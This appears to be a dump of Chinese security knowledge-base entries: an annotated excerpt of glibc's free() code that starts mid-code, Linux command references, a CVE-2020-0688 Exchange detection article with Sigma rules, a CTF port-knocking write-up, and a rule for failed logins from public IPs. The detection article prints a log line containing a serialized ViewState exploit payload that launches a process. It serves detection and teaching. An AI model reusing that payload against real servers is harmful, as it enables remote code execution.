(!have_lock) { __libc_lock_unlock(av->mutex); locked = 0; } } // 将chunk的mem部分全部设置为perturb_byte free_perturb(chunk2mem(p), size - 2 * SIZE_SZ); // 设置fast chunk的标记位 set_fastchunks(av); // 根据大小获取fast bin的索引 unsigned int idx = fastbin_index(size); // 获取对应fastbin的头指针,被初始化后为NULL。 fb = &fastbin(av, idx); /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ // 使用原子操作将P插入到链表中 mchunkptr old = *fb, old2; unsigned int old_idx = ~0u; do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ // so we can not double free one fastbin chunk // 防止对 fast bin double free if (__builtin_expect(old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; } /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been deallocated. See use of OLD_IDX below for the actual check. */ if (have_lock && old != NULL) old_idx = fastbin_index(chunksize(old)); p->fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) != old2); // 确保fast bin的加入前与加入后相同 if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0)) { errstr = "invalid fastbin entry (free)"; goto errout; } } ``` ### 合并非 mmap 的空闲 chunk方法 **只有不是 fast bin 的情况下才会触发unlink** 首先我们先说一下为什么会合并chunk,这是为了避免heap中有太多零零碎碎的内存块,合并之后可以用来应对更大的内存块请求。合并的主要顺序为 - 先考虑物理低地址空闲块 - 后考虑物理高地址空闲块 **合并后的 chunk 指向合并的 chunk 的低地址。** 在没有锁的情况下,先获得锁。 ```c++ /* Consolidate other non-mmapped chunks as they arrive. */ else if (!chunk_is_mmapped(p)) { if (!have_lock) { __libc_lock_lock(av->mutex); locked = 1; } nextchunk = chunk_at_offset(p, size); ``` #### 轻量级的检测 ```c++ /* Lightweight tests: check whether the block is already the top block. */ // 当前free的chunk不能是top chunk if (__glibc_unlikely(p == av->top)) { errstr = "double free or corruption (top)"; goto errout; } // 当前free的chunk的下一个chunk不能超过arena的边界 /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect(contiguous(av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)), 0)) { errstr = "double free or corruption (out)"; goto errout; } // 当前要free的chunk的使用标记没有被标记,double free /* Or whether the block is actually not marked used. */ if (__glibc_unlikely(!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout; } // 下一个chunk的大小 nextsize = chunksize(nextchunk); // next chunk size valid check // 判断下一个chunk的大小是否不大于2*SIZE_SZ,或者 // nextsize是否大于系统可提供的内存 if (__builtin_expect(chunksize_nomask(nextchunk) <= 2 * SIZE_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0)) { errstr = "free(): invalid next size (normal)"; goto errout; } ``` #### 释放填充 ```c++ //将指针的mem部分全部设置为perturb_byte free_perturb(chunk2mem(p), size - 2 * SIZE_SZ); ``` #### 后向合并-合并低地址 chunk ```c++ /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); } ``` #### 下一块不是top chunk-前向合并-合并高地址chunk 需要注意的是,如果下一块不是 top chunk ,则合并高地址的 chunk ,并将合并后的 chunk 放入到unsorted bin中。 ```c++ // 如果下一个chunk不是top chunk if (nextchunk != av->top) { /* get and clear inuse bit */ // 获取下一个 chunk 的使用状态 nextinuse = inuse_bit_at_offset(nextchunk, nextsize); // 如果不在使用,合并,否则清空当前chunk的使用状态。 /* consolidate forward */ if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ // 把 chunk 放在 unsorted chunk 链表的头部 bck = unsorted_chunks(av); fwd = bck->fd; // 简单的检查 if (__glibc_unlikely(fwd->bk != bck)) { errstr = "free(): corrupted unsorted chunks"; goto errout; } p->fd = fwd; p->bk = bck; // 如果是 large chunk,那就设置nextsize指针字段为NULL。 if (!in_smallbin_range(size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } bck->fd = p; fwd->bk = p; set_head(p, size | PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); } ``` #### 下一块是 top chunk-合并到 top chunk ```c++ /* If the chunk borders the current high end of memory, consolidate into top */ // 如果要释放的chunk的下一个chunk是top chunk,那就合并到 top chunk else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); } ``` #### 向系统返还内存 ```c++ /* If freeing a large space, consolidate possibly-surrounding chunks. Then, if the total unused topmost memory exceeds trim threshold, ask malloc_trim to reduce top. Unless max_fast is 0, we don't know if there are fastbins bordering top, so we cannot tell for sure whether threshold has been reached unless fastbins are consolidated. But we don't want to consolidate on each free. As a compromise, consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD is reached. */ // 如果合并后的 chunk 的大小大于FASTBIN_CONSOLIDATION_THRESHOLD // 一般合并到 top chunk 都会执行这部分代码。 // 那就向系统返还内存 if ((unsigned long) (size) >= FASTBIN_CONSOLIDATION_THRESHOLD) { // 如果有 fast chunk 就进行合并 if (have_fastchunks(av)) malloc_consolidate(av); // 主分配区 if (av == &main_arena) { #ifndef MORECORE_CANNOT_TRIM // top chunk 大于当前的收缩阙值 if ((unsigned long) (chunksize(av->top)) >= (unsigned long) (mp_.trim_threshold)) systrim(mp_.top_pad, av); #endif // 非主分配区,则直接收缩heap } else { /* Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. */ heap_info *heap = heap_for_ptr(top(av)); assert(heap->ar_ptr == av); heap_trim(heap, mp_.top_pad); } } if (!have_lock) { assert(locked); __libc_lock_unlock(av->mutex); } ``` ### 释放 mmap 的chunk方法 ```c++ } else { // If the chunk was allocated via mmap, release via munmap(). munmap_chunk(p); } ```
sec-knowleage
mesg === 设置当前终端的写权限 ## 补充说明 **mesg命令** 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。 ### 语法 ```shell mesg(参数) ``` ### 参数 y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。 ### 实例 ```shell [root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。 [root@localhost ~]# mesg n #不允许系统用户将信息直接显示在你的屏幕上。 ```
sec-knowleage
suspend === 挂起shell的执行。 ## 概要 ```shell suspend [-f] ``` ## 主要用途 - 挂起shell的执行,直到收到`SIGCONT`信号。 - 除非使用`-f`选项,否则无法对`login shell`使用。 ## 选项 ```shell -f 对login shell执行挂起操作。 ``` ## 返回值 返回成功除非未开启作业控制或发生了错误。 ## 例子 ```shell # 打开一个终端,首先获取PID。 echo $$ # 执行挂起命令 suspend ``` ```shell # 再打开一个终端,发送SIGCONT命令 kill -s SIGCONT PID # 此时之前的终端结束挂起状态,可以正常交互。 ``` ### 注意 1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。 3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
# T1190-CVE-2020-0688漏洞利用检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-0688漏洞 Microsoft Exchange Server是微软公司一套支持多种电子邮件网络协议的电子邮件服务组件,除传统的电子邮件的存取、储存、转发作用外,在新版本的产品中亦加入了一系列辅助功能,如语音邮件、邮件过滤筛选和OWA(基于Web的电子邮件存取)。 漏洞起于Microsoft Exchange服务器在安装时并没有正确创建唯一密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据,使攻击者可以在Exchange Control Panel web应用上执行任意.net代码。 ## 测试案例 具体复测可以参考 - CVE-2020-0688:Exchange Server使用固定加密密钥远程代码执行漏洞修复通告:<https://www.anquanke.com/post/id/199772> - CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现:<https://www.cnblogs.com/pt007/p/12394722.html> ## 检测日志 HTTP流量、Windows sysmon日志、IIS日志、exchange日志 ## 测试复现 可参考上述测试案例 ## 测试留痕 HTTP流量检测规则基于payload关键词进行检测 Windows sysmon日志检测规则基于payload关键词检测 IIS日志检测规则,留痕如下: ```yml 2020-03-09 17:16:50 ::1 POST /owa/auth.owa &CorrelationID=<empty>;&cafeReqId=9cff6edd-19a9-43c0-bdd2-a94adef6dd0c; 443 HealthMailbox062c8b451f3a4e21aa98fd88e45f499e@mail163.com ::1 Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+MSEXCHMON;+ACTIVEMONITORING;+OWACTP) - 302 0 0 0 2020-03-09 17:16:58 172.*.*.27 GET /ecp/default.aspx __VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4LJ%2F5i3bVSrOTrkun3pNej4tluDK0%3D&CorrelationID=<empty>;&cafeReqId=e0874638-b142-4c77-84c1-c0434137e691; 443 limou 10.0.254.139 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:73.0)+Gecko/20100101+Firefox/73.0 - 500 0 0 1502 ``` ## 检测规则/思路 ### sigma规则 ```yml title: CVE-2020-0688 Exchange Exploitation via Web Log id: fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5 status: experimental description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 references: - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/ author: Florian Roth date: 2020/02/29 logsource: category: webserver detection: selection1: cs-method: 'GET' c-uri|contains: - '/ecp/' - '/owa/' selection2: c-uri|contains: '__VIEWSTATE=' condition: selection1 and selection2 fields: - c-ip - c-dns falsepositives: - Unknown tags: - attack.initial_access - attack.t1190 level: critical ``` ```yml title: CVE-2020-0688 Exploitation via Eventlog id: d6266bf5-935e-4661-b477-78772735a7cb status: experimental description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 references: - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/ author: Florian Roth date: 2020/02/29 tags: - attack.initial_access - attack.t1190 logsource: product: windows service: application detection: selection1: EventID: 4 Source: MSExchange Control Panel Level: Error selection2: - '*&__VIEWSTATE=*' condition: selection1 and selection2 falsepositives: - Unknown level: high ``` ```yml title: CVE-2020-0688 Exploitation IIS Eventlog id: d6266bf5-935e-4661-b477-78772735a7cb status: experimental description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 references: - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/ author: Florian Roth date: 2020/02/29 tags: - attack.initial_access - attack.t1190 logsource: product: windows service: IIS detection: selection1: cs-method: 'POST' c-uri|contains: '/owa/auth.owa' selection2: cs-method: 'GET' c-uri|contains: '__VIEWSTATEGENERATOR=* __VIEWSTATE=' timeframe: 3s #可根据实际情况调整 condition: selection1 and selection2 falsepositives: - Unknown level: high ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> SIGMA rules <https://github.com/Neo23x0/sigma/pull/644/files> 在MICROSOFT EXCHANGE SERVER上检测CVE-2020-0688远程执行代码漏洞 <https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/>
sec-knowleage
# Wh3reIsTheD0oR * Category: Forensics * 150 Points * Solved by the JCTF Team ## Description > I know the F1Ag is there, but i can't find the s3cr3t door > > Maybe the PCAP file has a clue on the way to open it... A PCAP file was attached ## Solution Let's check what's happening in the attached PCAP file: ```console ┌──(user@kali)-[/media/sf_CTFs/bsides/Wh3reIsTheD0oR] └─$ tshark -qz io,phs -r w3reisthed0or.pcap =================================================================== Protocol Hierarchy Statistics Filter: eth frames:24918 bytes:22757132 ip frames:24912 bytes:22756826 udp frames:4428 bytes:2981384 dns frames:632 bytes:72397 quic frames:3796 bytes:2908987 quic frames:244 bytes:232438 quic frames:45 bytes:45685 tcp frames:20475 bytes:19774812 http frames:140 bytes:77820 data-text-lines frames:12 bytes:5256 tcp.segments frames:1 bytes:60 json frames:5 bytes:2972 tcp.segments frames:1 bytes:60 ocsp frames:84 bytes:53650 tcp.segments frames:3 bytes:1786 tls frames:5017 bytes:5011356 tcp.segments frames:2570 bytes:3606663 tls frames:2268 bytes:3307584 data frames:287 bytes:15785 _ws.malformed frames:6 bytes:330 icmp frames:9 bytes:630 arp frames:6 bytes:306 =================================================================== ``` We have some HTTP requests, a few are `data-text-lines` and `json` requests and most are `ocsp` requests. Following the different TCP streams, we find the following one: ```console ┌──(user@kali)-[/media/sf_CTFs/bsides/Wh3reIsTheD0oR] └─$ tshark -r ./w3reisthed0or.pcap -qz follow,tcp,ascii,3 =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 3 Node 0: 10.0.3.15:49482 Node 1: 3.126.235.224:80 352 GET / HTTP/1.1 Host: w3reisthed0or.ctf.bsidestlv.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 334 HTTP/1.1 200 OK x-powered-by: Express set-cookie: session=s%3AZLuxsykXO-Hx4tjM9q2LtwI-j65KTw1H.neqfAVBoRfP%2FSlg88nZEAgo00yD7XzkfGAidnKY%2BYeE; Path=/; HttpOnly date: Sat, 17 Jul 2021 08:28:44 GMT transfer-encoding: chunked set-cookie: BSidesTLV=1b5ae5e6721d6933ee6119e18286258a390cc724; path=/; domain=ctf.bsidestlv.com 0 509 GET /CaN HTTP/1.1 Host: w3reisthed0or.ctf.bsidestlv.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: session=s%3AZLuxsykXO-Hx4tjM9q2LtwI-j65KTw1H.neqfAVBoRfP%2FSlg88nZEAgo00yD7XzkfGAidnKY%2BYeE; BSidesTLV=1b5ae5e6721d6933ee6119e18286258a390cc724 Upgrade-Insecure-Requests: 1 112 HTTP/1.1 200 OK x-powered-by: Express date: Sat, 17 Jul 2021 08:28:45 GMT transfer-encoding: chunked 0 508 GET /D0 HTTP/1.1 Host: w3reisthed0or.ctf.bsidestlv.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: session=s%3AZLuxsykXO-Hx4tjM9q2LtwI-j65KTw1H.neqfAVBoRfP%2FSlg88nZEAgo00yD7XzkfGAidnKY%2BYeE; BSidesTLV=1b5ae5e6721d6933ee6119e18286258a390cc724 Upgrade-Insecure-Requests: 1 112 HTTP/1.1 200 OK x-powered-by: Express date: Sat, 17 Jul 2021 08:28:47 GMT transfer-encoding: chunked 0 511 GET /dAnC3 HTTP/1.1 Host: w3reisthed0or.ctf.bsidestlv.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: session=s%3AZLuxsykXO-Hx4tjM9q2LtwI-j65KTw1H.neqfAVBoRfP%2FSlg88nZEAgo00yD7XzkfGAidnKY%2BYeE; BSidesTLV=1b5ae5e6721d6933ee6119e18286258a390cc724 Upgrade-Insecure-Requests: 1 112 HTTP/1.1 200 OK x-powered-by: Express date: Sat, 17 Jul 2021 08:28:48 GMT transfer-encoding: chunked 0 508 GET /M3 HTTP/1.1 Host: w3reisthed0or.ctf.bsidestlv.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: session=s%3AZLuxsykXO-Hx4tjM9q2LtwI-j65KTw1H.neqfAVBoRfP%2FSlg88nZEAgo00yD7XzkfGAidnKY%2BYeE; BSidesTLV=1b5ae5e6721d6933ee6119e18286258a390cc724 Upgrade-Insecure-Requests: 1 121 HTTP/1.1 200 OK x-powered-by: Express date: Sat, 17 Jul 2021 08:28:48 GMT transfer-encoding: chunked 4 open 0 506 GET / HTTP/1.1 Host: w3reisthed0or.ctf.bsidestlv.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: session=s%3AZLuxsykXO-Hx4tjM9q2LtwI-j65KTw1H.neqfAVBoRfP%2FSlg88nZEAgo00yD7XzkfGAidnKY%2BYeE; BSidesTLV=1b5ae5e6721d6933ee6119e18286258a390cc724 Upgrade-Insecure-Requests: 1 1460 HTTP/1.1 200 OK x-powered-by: Express content-type: text/html; charset=utf-8 content-length: 1639 etag: W/"667-OwsjGJyMzUT+qfTWfwDpICCpCF0" date: Sat, 17 Jul 2021 08:28:50 GMT <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>BSidesTLV 2021 - Home</title> <!-- Bootstrap core CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <style> body { min-height: 75rem; padding-top: 4.5rem; } </style> </head> <body> <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark"> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarCollapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item active"> <a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a> 362 </li> <li class="nav-item"> <a class="nav-link" href="/flag">Flag</a> </li> </ul> </div> </nav> <main role="main" class="container"> <div class="jumbotron"> <h1>Get the Flag!</h1> <p class="lead">Can you help me find the L0st F1ag ?</p> </div> </main> </body> </html> 1 =================================================================== ``` Let's concentrate on the `GET` request URI: ```console ┌──(user@kali)-[/media/sf_CTFs/bsides/Wh3reIsTheD0oR] └─$ tshark -r ./w3reisthed0or.pcap -qz follow,tcp,ascii,3 | grep GET GET / HTTP/1.1 GET /CaN HTTP/1.1 GET /D0 HTTP/1.1 GET /dAnC3 HTTP/1.1 GET /M3 HTTP/1.1 GET / HTTP/1.1 ``` This looks interesting, but doesn't make sense as a sentence. If we move to stream #4, we also find a similar set of requests: ```console ┌──(user@kali)-[/media/sf_CTFs/bsides/Wh3reIsTheD0oR] └─$ tshark -r ./w3reisthed0or.pcap -qz follow,tcp,ascii,4 | grep GET GET /favicon.ico HTTP/1.1 GET /yoU HTTP/1.1 GET /tA9 HTTP/1.1 GET /4 HTTP/1.1 ``` We'll combine both streams to see what happened: ```console ┌──(user@kali)-[/media/sf_CTFs/bsides/Wh3reIsTheD0oR] └─$ tshark -r ./w3reisthed0or.pcap -Y "ip.src == 10.0.3.15 && ip.dst == 3.126.235.224" | grep GET 46 0.380551 10.0.3.15 → 3.126.235.224 HTTP 406 GET / HTTP/1.1 195 0.817496 10.0.3.15 → 3.126.235.224 HTTP 531 GET /favicon.ico HTTP/1.1 297 1.761041 10.0.3.15 → 3.126.235.224 HTTP 563 GET /CaN HTTP/1.1 1944 2.578609 10.0.3.15 → 3.126.235.224 HTTP 563 GET /yoU HTTP/1.1 3749 3.286006 10.0.3.15 → 3.126.235.224 HTTP 562 GET /D0 HTTP/1.1 4400 3.751447 10.0.3.15 → 3.126.235.224 HTTP 563 GET /tA9 HTTP/1.1 4583 4.273925 10.0.3.15 → 3.126.235.224 HTTP 565 GET /dAnC3 HTTP/1.1 4593 4.339010 10.0.3.15 → 3.126.235.224 HTTP 561 GET /4 HTTP/1.1 5323 4.880017 10.0.3.15 → 3.126.235.224 HTTP 562 GET /M3 HTTP/1.1 6751 6.091966 10.0.3.15 → 3.126.235.224 HTTP 560 GET / HTTP/1.1 ``` Now it makes more sense: "CaN yoU D0 tA9 dAnC3 4 M3". Looks like a variation of standard port knocking: We should visit all of these URLs to unlock the flag. Notice how the last HTTP request from the dump received the following response: ```html <li class="nav-item"> <a class="nav-link" href="/flag">Flag</a> </li> ``` So, we'll visit `/flag` once we're done knocking. ```python import requests from scapy.all import * from scapy.layers.http import HTTPRequest HOST = "w3reisthed0or.ctf.bsidestlv.com" BASE_URI = "http://" + HOST s = requests.session() def request_uri(uri): print(f"Calling {uri}") r = s.get(uri) return r.text def filter_packets(packet): if not packet.haslayer('HTTPRequest'): return if not packet[IP].src == "10.0.3.15": return if not packet[IP].dst == "3.126.235.224": return if not packet[HTTPRequest].Host.decode("utf-8") == HOST: return path = packet[HTTPRequest].Path.decode("utf-8") request_uri(BASE_URI + path) sniff(offline = 'w3reisthed0or.pcap', session = TCPSession, prn = filter_packets) print(request_uri(f"{BASE_URI}/flag")) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/bsides/Wh3reIsTheD0oR] └─$ python3 knock.py Calling http://w3reisthed0or.ctf.bsidestlv.com/ Calling http://w3reisthed0or.ctf.bsidestlv.com/favicon.ico Calling http://w3reisthed0or.ctf.bsidestlv.com/CaN Calling http://w3reisthed0or.ctf.bsidestlv.com/yoU Calling http://w3reisthed0or.ctf.bsidestlv.com/D0 Calling http://w3reisthed0or.ctf.bsidestlv.com/tA9 Calling http://w3reisthed0or.ctf.bsidestlv.com/dAnC3 Calling http://w3reisthed0or.ctf.bsidestlv.com/4 Calling http://w3reisthed0or.ctf.bsidestlv.com/M3 Calling http://w3reisthed0or.ctf.bsidestlv.com/ Calling http://w3reisthed0or.ctf.bsidestlv.com/flag <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>BSidesTLV 2021 - Flag</title> <!-- Bootstrap core CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <style> body { min-height: 75rem; padding-top: 4.5rem; } </style> </head> <body> <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark"> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarCollapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item"> <a class="nav-link" href="/">Home</a> </li> <li class="nav-item active"> <a class="nav-link" href="/flag">Flag <span class="sr-only">(current)</span></a> </li> </ul> </div> </nav> <main role="main" class="container"> <div class="jumbotron"> <h1>The Flag Is</h1> <p class="lead font-weight-bold">BSidesTLV2021{g0oD.4.Y0u.U.Kno0k3d.1T}</p> </div> </main> </body> </html> ``` The flag: `BSidesTLV2021{g0oD.4.Y0u.U.Kno0k3d.1T}`
sec-knowleage
# T1078-003-win-来自公网的登陆失败行为 ## 来自ATT&CK的描述 VPN、Citrix等远程服务及其它访问机制允许用户从外部访问企业内部网络资源。通常有远程服务网关来管理这些服务连接和凭据认证。Windows远程管理等服务也可以在外部使用。 攻击者可能会通过远程服务来访问网络或在网络中停留。通常,用户须使用有效账号才能访问服务。攻击者可能会通过凭据欺骗或入侵企业网络从用户侧获取凭据,来获得有效账号权限。在操作期间,对远程服务的访问可用作冗余访问的一部分。 ## 测试案例 windows账户登录失败。 ## 检测日志 windows 安全日志 ## 测试复现 场景较简单,请自行测试。 ## 测试留痕 windows安全事件ID(win7/win2008+) ## 检测规则/思路 ### Sigma规则 ```yml title: 来自公网的登陆失败行为 description: 从公共IP登录可能表明防火墙或网络边界配置错误。 author: NVISO 12306Br0(翻译+测试) date: 2020/05/06 tags: - attack.initial_access - attack.persistence - attack.t1078 - attack.t1190 - attack.t1133 logsource: product: windows service: security detection: selection: EventID: 4625 #登陆失败 unknown: IpAddress|contains: '-' privatev4: IpAddress|startswith: - '10.' #10.0.0.0/8 - '192.168.' #192.168.0.0/16 - '172.16.' #172.16.0.0/12 - '172.17.' - '172.18.' - '172.19.' - '172.20.' - '172.21.' - '172.22.' - '172.23.' - '172.24.' - '172.25.' - '172.26.' - '172.27.' - '172.28.' - '172.29.' - '172.30.' - '172.31.' - '127.' #127.0.0.0/8 - '169.254.' #169.254.0.0/16 privatev6: - IpAddress: '::1' #loopback - IpAddress|startswith: - 'fe80::' #link-local - 'fc00::' #unique local condition: selection and not (unknown or privatev4 or privatev6) falsepositives: - 互联网上的合法登录尝试 - IPv4到IPv6映射的IP level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1078-003 <https://attack.mitre.org/techniques/T1078/003/>
sec-knowleage